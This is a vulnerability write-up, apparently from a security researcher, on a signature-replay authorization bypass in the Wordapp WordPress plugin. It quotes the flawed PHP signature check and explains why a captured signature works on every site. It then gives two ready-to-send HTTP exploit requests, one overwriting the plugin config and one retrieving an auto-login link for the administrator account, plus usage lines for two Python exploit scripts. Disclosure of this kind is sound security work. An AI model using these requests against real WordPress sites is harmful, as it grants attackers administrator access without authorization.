The plugin contains an Authorization Bypass due to an use of Insufficiently Unique Cryptographic Signature vulnerability. Due to the plugin’s functionality, this makes it possible to bypass auth by retrieving an auto login link.

 

Let’s check the plugin

The ajax_wa_pdx() function handle the plugin config update with following code:

if ( $op == PDX_OP_WP_CONFIG_SET ) {
    wa_pdx_op_config_set($params);
}

The wa_pdx_op_config_set() function validate the signature with following code:

$ticket_id   = $params['ticket_id'];
$api_pdx_url = $params['api_pdx_url'];
$timestamp   = $params['timestamp'];
$signature   = $params['signature'];

$wa_pdx_options = wa_pdx_get_options();

if ( $wa_pdx_options['validate_signature'] ) {
	$reassembled_data = sprintf( "%02x", PDX_OP_WP_CONFIG_SET );
	$reassembled_data .= $ticket_id;
	$reassembled_data .= $api_pdx_url;
	$reassembled_data .= dechex( $timestamp );

	$reassembled_data = strtolower( $reassembled_data );

	$signature = pack( "H" . strlen( $signature ), $signature );
	$verified  = openssl_verify( $reassembled_data, $signature, PDX_PUB_KEY_PEM_2048, "SHA256" );

	if ( $verified != 1 ) {
		wa_pdx_send_response( 'Signature verification failed.' );
	}
}

As we can see, the reassembled_data contains the three request parameters, which are: ticket_id, api_pdx_url and timestamp, and the op parameter, which is a constant number that identifies the set config request.

Then using the openssl_verify funcion, verify that the signature is correct for the specified data using the public key.

If the signature verification was successful, the config will be updated:

$pdx_config = $params['config'];

if ( empty( $pdx_config ) ) {
	wa_pdx_send_response( 'Invalid configuration parameter.' );
}

update_option( PDX_CONFIG_OPTION_KEY, $pdx_config );

 

Let’s see how we can exploit this vulnerability

Since there is no unique value in the reassembled_data like the website url, which is verified by signature, the config can be updated with the same signature for all websites on which the plugin is installed.

This means that if we obtain even a single valid signature and its associated data, then we can update the configuration on any website.

Note: To create the signature for the data is only possible using the private key, which is stored only on the Wordapp server. Therefore, this option is not possible for us.

This means that our only option is to store all the parameters, including the data and the signature, when the Wordapp server sends the config set request to our website. After obtaining the data and the signature, we send an exploit request to the WordPress website.

We need to log incoming requests to our website and obtain the following four parameters: ticket_id, api_pdx_url, timestamp, and the signature.

Then we can make exploit requests.

Upload the config with the following HTTP request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

action=wa_pdx&data[op]=2&data[data][ticket_id]=f299ce0131cf1e45833a92e973053059d481db75d9b50f0680b64d1c285da86e&data[data][api_pdx_url]=https://app.wordapp.com/api/pdx&data[data][signature]=1fd90d4ce15df887c63995b6c46d40313038aa1794e2173c6456bfbaecc894ea986e170b12d978f8fa7fcfd40f8603eea80cf832bf136ae66a45b16dc71849735261cc19c23899e16592abf4d91561fa42f80b02e51b29cd9466ec77324d904206c2e138b9e667221036258c0e0262853870a6328bf4fe2ed359297e63fbb19825449a017eb04bed334ee0a220690935445324c6381afc8000f6dd8e0b4ea6325b3910970a5357a7302265d98c00f39fc0b5c8a996d686476277fedad476c4ccbb55a72b2236efb65b1a246abaca3128261cda1de91a6ffc8b6c9c11ce9f8e962c7863f40f06b844d02ae31ecedace9e2d63a5fdf7e5f3fa071bbf0c898a82ed&data[data][timestamp]=1683557084&data[data][config][validation_token]=EXPLOIT&data[data][config][preview_token]=EXPLOIT

After that, we can get the auto login url for the auth bypass with the following HTTP request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

action=wa_pdx&token=EXPLOIT&data[op]=80&data[data][user_id]=1&data[data][ticket]=qcaarumvmryslpcdmgycqqnuywhpnezopxuiqjxkbiemiknnxtrdkjemkplcoygr

Note: The ticket parameter can be any 64-character long string.

 

The exploit script

I created a Python script that set the configuration:

Source: wordapp_plugin_vdb_set_config_exploit.py

How to use:

python3 wordapp_plugin_vdb_set_config_exploit.py --website_url="http://localhost/"

Then I created another Python script that retrieves the auto login link:

Source: wordapp_plugin_vdb_get_auto_login_link_exploit.py

How to use:

python3 wordapp_plugin_vdb_get_auto_login_link_exploit.py --website_url="http://localhost/" --user_id=1